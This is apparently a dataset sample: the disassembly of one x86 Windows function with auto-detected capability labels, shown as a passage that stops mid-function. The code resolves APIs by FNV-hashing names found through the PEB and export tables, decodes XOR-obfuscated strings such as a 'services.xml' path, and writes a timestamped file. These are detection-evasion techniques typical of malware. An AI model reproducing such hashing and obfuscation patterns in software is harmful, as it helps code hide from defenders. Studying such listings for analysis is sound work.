Function at 0x44e710
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], 0
mov esi, ecx
mov dword [ebp - 8], ebx
push edi
mov ecx, 0x800
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 0x158], ebx
call fcn.004bca70
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x44fe1c
mov eax, dword [esi]
push 0x400
push edi
push 2
push esi
call dword [eax + 0x38]
test eax, eax
js 0x44fe1c
mov dword [ebp - 0x154], 0x40
mov edx, 0x25
mov eax, 0x10
mov ecx, 0x32
mov word [ebp - 0x150], ax
mov eax, 0x26
mov word [ebp - 0x14e], cx
mov word [ebp - 0x14c], dx
mov word [ebp - 0x14a], ax
mov eax, 0x2e
mov word [ebp - 0x148], dx
mov word [ebp - 0x146], cx
mov word [ebp - 0x144], dx
mov word [ebp - 0x142], ax
mov eax, 0x23
mov word [ebp - 0x140], ax
mov eax, 0x33
mov word [ebp - 0x13e], dx
mov word [ebp - 0x13c], ax
mov eax, 0x40
mov word [ebp - 0x13a], ax
movzx eax, word [0x4025e0]
xor eax, 0x40
mov word [ebp - 0x138], ax
movzx eax, word [0x4025e2]
xor eax, 0x40
mov word [ebp - 0x136], ax
movzx eax, word [0x4025e4]
xor eax, 0x40
mov word [ebp - 0x134], ax
movzx eax, word [0x4025e6]
xor eax, 0x40
mov word [ebp - 0x132], ax
movzx eax, word [0x4025e8]
xor eax, 0x40
mov word [ebp - 0x130], ax
movzx eax, word [0x4025ea]
xor eax, 0x40
mov word [ebp - 0x12e], ax
movzx eax, word [0x4025ec]
xor eax, 0x40
mov word [ebp - 0x12c], ax
movzx eax, word [0x4025ee]
xor eax, 0x40
mov word [ebp - 0x12a], ax
movzx eax, word [0x4025f0]
xor eax, 0x40
mov word [ebp - 0x128], ax
movzx eax, word [0x4025f2]
xor eax, 0x40
mov word [ebp - 0x126], ax
movzx eax, word [0x4025f4]
xor eax, 0x40
mov word [ebp - 0x124], ax
xor eax, eax
mov word [ebp - 0x122], ax
xor edx, edx
mov ax, word [ebp - 0x150]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x150]
movzx ecx, ax
movzx eax, word [ebp - 0x154]
xor ecx, eax
mov word [ebp + edx*2 - 0x150], cx
inc edx
cmp edx, 0x17
jb 0x44e8c0
xor eax, eax
mov word [ebp - 0x122], ax
lea eax, [ebp - 0x150]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x44fe1c
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x44e999
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0x10], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44e97d
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x18]
imul eax, eax, 0x1000193
mov dword [ebp - 0x18], eax
cmp edi, ebx
jne 0x44e945
cmp eax, 0xa3e6f6c3
je 0x44fcff
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0x10], ecx
cmp eax, edx
je 0x44e98e
cmp dword [ecx + 0x18], 0
jne 0x44e927
xor ebx, ebx
mov edi, dword [ebp - 0x24]
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37d8]
test eax, eax
jne 0x44ea41
test ebx, ebx
je 0x44ea37
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xec], eax
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x44ea37
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x44ea37
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x18], eax
nop dword [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44ea25
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44e9f0
cmp edi, 0x28737e55
je 0x44fd0a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x44e9e0
xor eax, eax
mov edi, dword [ebp - 0x24]
mov dword [0x4f37d8], eax
push 0
push edi
call eax
mov dword [ebp - 0x120], 0x71
mov eax, 0x22
mov word [ebp - 0x11c], ax
mov ecx, 0x14
mov word [ebp - 0x11a], cx
mov eax, 3
mov word [ebp - 0x118], ax
mov eax, 7
mov word [ebp - 0x116], ax
mov eax, 0x18
mov word [ebp - 0x114], ax
mov eax, 0x12
mov word [ebp - 0x112], ax
mov eax, 2
mov word [ebp - 0x110], cx
mov word [ebp - 0x10e], ax
mov eax, 0x71
mov word [ebp - 0x10c], ax
movzx eax, word [0x402d62]
xor eax, 0x71
mov word [ebp - 0x10a], ax
movzx eax, word [0x402d64]
xor eax, 0x71
mov word [ebp - 0x108], ax
movzx eax, word [0x402d66]
xor eax, 0x71
mov word [ebp - 0x106], ax
movzx eax, word [0x402d68]
xor eax, 0x71
mov word [ebp - 0x104], ax
movzx eax, word [0x402d6a]
xor eax, 0x71
mov word [ebp - 0x102], ax
movzx eax, word [0x402d6c]
xor eax, 0x71
mov word [ebp - 0x100], ax
movzx eax, word [0x402d6e]
xor eax, 0x71
mov word [ebp - 0xfe], ax
movzx eax, word [0x402d70]
xor eax, 0x71
mov word [ebp - 0xfc], ax
xor eax, eax
mov word [ebp - 0xfa], ax
xor edx, edx
mov ax, word [ebp - 0x11c]
mov ax, word [ebp + edx*2 - 0x11c]
movzx ecx, ax
movzx eax, word [ebp - 0x120]
xor ecx, eax
mov word [ebp + edx*2 - 0x11c], cx
inc edx
cmp edx, 0x11
jb 0x44eb51
xor eax, eax
mov word [ebp - 0xfa], ax
lea eax, [ebp - 0x11c]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x44fe1a
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x44ec31
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0x10], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x18], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44ec18
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x18]
imul eax, eax, 0x1000193
mov dword [ebp - 0x18], eax
cmp edi, ebx
jne 0x44ebe0
cmp eax, 0xa3e6f6c3
je 0x44fd28
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0x10], ecx
cmp eax, edx
je 0x44ec29
cmp dword [ecx + 0x18], 0
jne 0x44ebc0
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37d8]
test eax, eax
jne 0x44ecd1
test ebx, ebx
je 0x44ecca
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xec], eax
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x44ecca
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x44ecca
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x18], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44ecb8
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44ec83
cmp edi, 0x28737e55
je 0x44fd33
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
cmp ecx, dword [edx + 0x18]
jne 0x44ec73
xor eax, eax
mov dword [0x4f37d8], eax
mov edi, dword [ebp - 0x24]
push 0
push edi
call eax
mov dword [ebp - 0x64], 0x22
mov eax, dword [ebp - 0x64]
xor eax, 0x5c
mov word [ebp - 0x60], ax
mov eax, dword [ebp - 0x64]
inc eax
xor eax, 0x53
mov word [ebp - 0x5e], ax
mov eax, dword [ebp - 0x64]
add eax, 2
xor eax, 0x65
mov word [ebp - 0x5c], ax
mov eax, dword [ebp - 0x64]
add eax, 3
xor eax, 0x72
mov word [ebp - 0x5a], ax
mov eax, dword [ebp - 0x64]
add eax, 4
xor eax, 0x76
mov word [ebp - 0x58], ax
mov eax, dword [ebp - 0x64]
add eax, 5
xor eax, 0x69
mov word [ebp - 0x56], ax
mov eax, dword [ebp - 0x64]
add eax, 6
xor eax, 0x63
mov word [ebp - 0x54], ax
mov eax, dword [ebp - 0x64]
add eax, 7
xor eax, 0x65
mov word [ebp - 0x52], ax
mov eax, dword [ebp - 0x64]
add eax, 8
xor eax, 0x73
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x64]
add eax, 9
xor eax, 0x2e
mov word [ebp - 0x4e], ax
mov eax, dword [ebp - 0x64]
add eax, 0xa
xor eax, 0x78
mov word [ebp - 0x4c], ax
mov eax, dword [ebp - 0x64]
add eax, 0xb
xor eax, 0x6d
mov word [ebp - 0x4a], ax
mov eax, dword [ebp - 0x64]
add eax, 0xc
xor eax, 0x6c
mov word [ebp - 0x48], ax
mov eax, dword [ebp - 0x64]
add eax, 0xd
mov word [ebp - 0x46], ax
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d80]
add eax, 0xe
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x44], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d82]
add eax, 0xf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x42], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d84]
add eax, 0x10
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x40], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d86]
add eax, 0x11
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3e], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d88]
add eax, 0x12
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3c], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d8a]
add eax, 0x13
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3a], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d8c]
add eax, 0x14
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x38], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d8e]
add eax, 0x15
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x36], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d90]
add eax, 0x16
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x34], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d92]
add eax, 0x17
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x32], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d94]
add eax, 0x18
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x30], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d96]
add eax, 0x19
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x2e], cx
mov eax, dword [ebp - 0x64]
movzx ecx, word [0x402d98]
add eax, 0x1a
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x2c], cx
xor edx, edx
mov word [ebp - 0x2a], ax
mov ax, word [ebp - 0x60]
nop dword [eax + eax]
mov ax, word [ebp + edx*2 - 0x60]
mov ecx, dword [ebp - 0x64]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x60], cx
inc edx
cmp edx, 0x1b
jb 0x44eec0
xor eax, eax
lea edx, [ebp - 0x60]
mov word [ebp - 0x2a], ax
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x44eee5
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x44eef5
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 2
push 0
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x24]
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, 0xffffffff
je 0x44fe16
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, 0x800
call fcn.004bca70
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x44fe1f
mov dword [ebp - 0xe0], 0x1d
mov eax, dword [ebp - 0xe0]
xor eax, 0x25
mov word [ebp - 0xdc], ax
mov eax, dword [ebp - 0xe0]
inc eax
xor eax, 0x30
mov word [ebp - 0xda], ax
mov eax, dword [ebp - 0xe0]
add eax, 2
xor eax, 0x34
mov word [ebp - 0xd8], ax
mov eax, dword [ebp - 0xe0]
add eax, 3
xor eax, 0x64
mov word [ebp - 0xd6], ax
mov eax, dword [ebp - 0xe0]
add eax, 4
xor eax, 0x2d
mov word [ebp - 0xd4], ax
mov eax, dword [ebp - 0xe0]
add eax, 5
xor eax, 0x25
mov word [ebp - 0xd2], ax
mov eax, dword [ebp - 0xe0]
add eax, 6
xor eax, 0x30
mov word [ebp - 0xd0], ax
mov eax, dword [ebp - 0xe0]
add eax, 7
xor eax, 0x32
mov word [ebp - 0xce], ax
mov eax, dword [ebp - 0xe0]
add eax, 8
xor eax, 0x64
mov word [ebp - 0xcc], ax
mov eax, dword [ebp - 0xe0]
add eax, 9
xor eax, 0x2d
mov word [ebp - 0xca], ax
mov eax, dword [ebp - 0xe0]
add eax, 0xa
xor eax, 0x25
mov word [ebp - 0xc8], ax
mov eax, dword [ebp - 0xe0]
add eax, 0xb
xor eax, 0x30
mov word [ebp - 0xc6], ax
mov eax, dword [ebp - 0xe0]
add eax, 0xc
xor eax, 0x32
mov word [ebp - 0xc4], ax
mov eax, dword [ebp - 0xe0]
add eax, 0xd
xor eax, 0x64
mov word [ebp - 0xc2], ax
mov eax, dword [ebp - 0xe0]
add eax, 0xe
xor eax, 0x20
mov word [ebp - 0xc0], ax
mov eax, dword [ebp - 0xe0]
add eax, 0xf
xor eax, 0x25
mov word [ebp - 0xbe], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x10
xor eax, 0x30
mov word [ebp - 0xbc], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x11
xor eax, 0x32
mov word [ebp - 0xba], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x12
xor eax, 0x64
mov word [ebp - 0xb8], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x13
xor eax, 0x3a
mov word [ebp - 0xb6], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x14
xor eax, 0x25
mov word [ebp - 0xb4], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x15
xor eax, 0x30
mov word [ebp - 0xb2], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x16
xor eax, 0x32
mov word [ebp - 0xb0], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x17
xor eax, 0x64
mov word [ebp - 0xae], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x18
xor eax, 0x3a
mov word [ebp - 0xac], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x19
xor eax, 0x25
mov word [ebp - 0xaa], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x1a
xor eax, 0x30
mov word [ebp - 0xa8], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x1b
xor eax, 0x32
mov word [ebp - 0xa6], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x1c
xor eax, 0x64
mov word [ebp - 0xa4], ax
mov eax, dword [ebp - 0xe0]
add eax, 0x1d
mov word [ebp - 0xa2], ax
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402640]
add eax, 0x1e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa0], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402642]
add eax, 0x1f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9e], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402644]
add eax, 0x20
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9c], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402646]
add eax, 0x21
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9a], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402648]
add eax, 0x22
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x98], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40264a]
add eax, 0x23
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x96], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40264c]
add eax, 0x24
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x94], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40264e]
add eax, 0x25
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x92], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402650]
add eax, 0x26
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x90], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402652]
add eax, 0x27
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8e], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402654]
add eax, 0x28
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8c], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402656]
add eax, 0x29
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8a], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402658]
add eax, 0x2a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x88], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40265a]
add eax, 0x2b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x86], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40265c]
add eax, 0x2c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x84], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40265e]
add eax, 0x2d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x82], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402660]
add eax, 0x2e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x80], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402662]
add eax, 0x2f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7e], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402664]
add eax, 0x30
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7c], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402666]
add eax, 0x31
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x7a], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402668]
add eax, 0x32
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x78], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40266a]
add eax, 0x33
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x76], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40266c]
add eax, 0x34
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x74], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x40266e]
add eax, 0x35
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x72], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402670]
add eax, 0x36
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x70], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402672]
add eax, 0x37
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6e], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402674]
add eax, 0x38
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6c], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402676]
add eax, 0x39
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x6a], cx
mov eax, dword [ebp - 0xe0]
movzx ecx, word [0x402678]
add eax, 0x3a
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x68], cx
xor edx, edx
mov word [ebp - 0x66], ax
mov ax, word [ebp - 0xdc]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0xdc]
mov ecx, dword [ebp - 0xe0]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0xdc], cx
inc edx
cmp edx, 0x3b
jb 0x44f4b0
mov ebx, dword [0x4f37a8]
xor eax, eax
mov word [ebp - 0x66], ax
test ebx, ebx
jne 0x44f571
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [ebp - 8], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44f558
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x44f520
cmp eax, 0xc0323159
je 0x44fd51
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x44f569
cmp dword [ecx + 0x18], 0
jne 0x44f500
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov ecx, dword [0x4f37b4]
test ecx, ecx
jne 0x44f613
test ebx, ebx
je 0x44f60b
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xec], eax
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x44f60d
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x44f60b
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 4], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44f5f9
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44f5c4
mov ecx, dword [ebp - 8]
cmp edi, 0xaeb3c6d5
je 0x44fd5c
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
cmp ecx, dword [edx + 0x18]
jne 0x44f5b4
xor ecx, ecx
mov dword [0x4f37b4], ecx
movzx eax, word [ebp - 0x15c]
push eax
movzx eax, word [ebp - 0x15e]
push eax
movzx eax, word [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x162]
push eax
movzx eax, word [ebp - 0x166]
push eax
movzx eax, word [ebp - 0x168]
push eax
lea eax, [ebp - 0xdc]
push eax
push dword [ebp - 0x10]
call ecx
add esp, 0x20
mov ecx, 0x22
call fcn.004bca70
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x44fcf1
xor esi, esi
mov dword [ebp - 0x1c], esi
nop
mov ecx, 0x800
call fcn.004bca70
mov dword [ebx + esi*4], eax
lea ecx, [ebx + esi*4]
mov dword [ebp - 0xf4], ecx
test eax, eax
je 0x44fcd6
mov ebx, dword [0x4f37ec]
test ebx, ebx
jne 0x44f723
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 8], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 4], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44f70a
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 4]
imul eax, eax, 0x1000193
mov dword [ebp - 4], eax
cmp edi, ebx
jne 0x44f6d2
cmp eax, 0xfa102e29
je 0x44fd79
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x44f71b
cmp dword [ecx + 0x18], 0
jne 0x44f6b4
xor ebx, ebx
mov dword [0x4f37ec], ebx
mov eax, dword [0x4f3808]
test eax, eax
jne 0x44f7c3
test ebx, ebx
je 0x44f7bc
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xec], eax
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x44f7bc
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x44f7bc
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44f7aa
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44f775
mov ecx, dword [ebp - 8]
cmp edi, 0x1807f01a
je 0x44fd84
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x44f765
xor eax, eax
mov dword [0x4f3808], eax
lea ecx, [ebp - 0x178]
push ecx
call eax
test eax, eax
js 0x44fcd3
mov ebx, dword [0x4f37ec]
test ebx, ebx
jne 0x44f871
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 8], ecx
nop word [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44f858
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x44f820
cmp eax, 0xfa102e29
je 0x44fda1
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x44f869
cmp dword [ecx + 0x18], 0
jne 0x44f800
xor ebx, ebx
mov dword [0x4f37ec], ebx
mov eax, dword [0x4f37f0]
test eax, eax
jne 0x44f913
test ebx, ebx
je 0x44f90c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xec], eax
